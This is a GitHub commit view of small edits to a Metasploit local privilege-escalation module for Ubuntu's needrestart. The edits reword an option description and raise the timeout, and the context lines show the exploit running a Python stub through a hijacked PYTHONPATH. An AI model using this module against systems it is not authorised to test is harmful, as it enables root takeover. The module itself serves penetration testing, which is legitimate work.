Skip to content

Commit 1939496

Browse files
committed
needrestart improvements
1 parent d4bd00d commit 1939496

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/linux/local/ubuntu_needrestart_lpe.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@ def initialize(info = {})
5454
)
5555
)
5656
register_advanced_options [
57-
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
57+
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
5858
]
5959
end
6060

@@ -149,7 +149,7 @@ def exploit
149149

150150
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
151151
# output from the exploit being run, they can optionally see it
152-
timeout = 86_400 # 24 hours
152+
timeout = 90_000 # 25 hours
153153
print_status 'Launching exploit, and waiting for needrestart to run...'
154154
output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, timeout
155155
output.each_line { |line| vprint_status line.chomp }

0 commit comments

Comments
 (0)